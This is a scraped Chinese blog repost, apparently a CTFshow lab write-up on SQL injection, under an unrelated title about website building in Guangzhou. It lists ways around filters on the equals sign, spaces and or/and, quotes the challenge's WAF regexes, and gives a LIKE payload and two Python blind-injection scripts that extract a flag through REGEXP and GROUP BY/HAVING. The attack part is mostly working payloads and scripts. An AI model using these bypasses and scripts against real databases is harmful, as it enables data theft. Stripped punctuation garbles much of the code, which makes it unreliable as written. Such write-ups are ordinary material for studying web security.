网站建设全包广州中介专门做别墅的网站
web/
2025/9/25 12:56:04/
文章来源:
网站建设全包广州,中介专门做别墅的网站,音乐网站系统源码,html怎么弄成网站号过滤绕过
号和不加通配符的 like 是一样的。 还可以使用 号来绕过#xff0c; 在mysql中等于! 如果在加一个! 双重否定代表肯定 就是了
空格过滤绕过
/**/ #xff0c;()#xff0c;#xff0c;tab#xff0c;两个空格
or and xor not 过滤绕过
a…号过滤绕过
号和不加通配符的 like 是一样的。 还可以使用 号来绕过 在mysql中等于! 如果在加一个! 双重否定代表肯定 就是了
空格过滤绕过
/**/ ()tab两个空格
or and xor not 过滤绕过
and or || xor | # not
1.模糊匹配
//拼接sql语句查找指定ID用户
$sql select id,username,password from ctfshow_user where username !flag and id .$_GET[id]. limit 1;;//对传入的参数进行了过滤function waf($str){return preg_match(/ |\*|\x09|\x0a|\x0b|\x0c|\x00|\x0d|\xa0|\x23|\#|file|into|select|flag/i, $str);} 利用模糊匹配like就是SQL语句中的操作符它的作用是指示在SQL语句后面的搜索模式是利用通配符而不是直接相等匹配进行比较。%百分号_下划线就是通配符%表示任何字符出现任意次数(可以是0次)_表示单个字符
or%0cusername%0clike%0c%fla%
2.正则匹配盲注 这样输入tableNamectfshow_userwherepassregexpctfshowwhere是并且的意思也就是限制条件regexp是正则匹配而这个反引号其实就是声明以下这是个表名或者这是个列名语句的意思是查询ctfshow_user这个表并且pass这个列的内容是ctfshow
可以看到user_count1这表示有一个内容匹配上了进行盲注
import requestsurlhttp://a688781a-293c-4944-badf-662710615fed.challenge.ctf.show/select-waf.phpflagstr1234567890asdfghjklqwertyuiopzxcvbnm-_{}
flagctfshow{for i in range(50):for x in flagstr:data{tableName:fctfshow_userwherepassregexp{flagx}}resrequests.post(urlurl,datadata)if res.text.find(user_count 1;)0:flagxprint(right: x)breakelse:print(wrong: x)print(flag)#ctfshow{68264c64-1246-435b-bc1e-a80326290bb8}
3.过滤了一堆将上一个payload对比下过滤了where和 把空格放出来了
//对传入的参数进行了过滤function waf($str){return preg_match(/\*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|\#|\x23|file|\|or|\x7c|select|and|flag|into|where|\x26|\|\|union|\|sleep|benchmark/i, $str);}
having这个也可以用来查询前置条件是需要用 group by
MySQL查询中having语句的使用场景和用法 - 知乎 (zhihu.com) 盲注脚本
import requests
urlhttp://3d72fc66-90f6-4e34-a083-2171ceb1ea7c.challenge.ctf.show/select-waf.php
flagstr1234567890asdfghjklqwertyuiopzxcvbnm-_{}
flagctfshow{
def shiliu(x):stfor i in x:ststr(hex(ord(i)))stst.replace(0x,)return 0xst
for i in range(50):for x in flagstr:data{tableName:fctfshow_user group by pass having pass regexp({shiliu(flagx)})}resrequests.post(urlurl,datadata)if res.text.find($user_count 1;) 0:flagxprint(right: x)breakelse:print(woring: x)print(flag)
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/81625.shtml
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!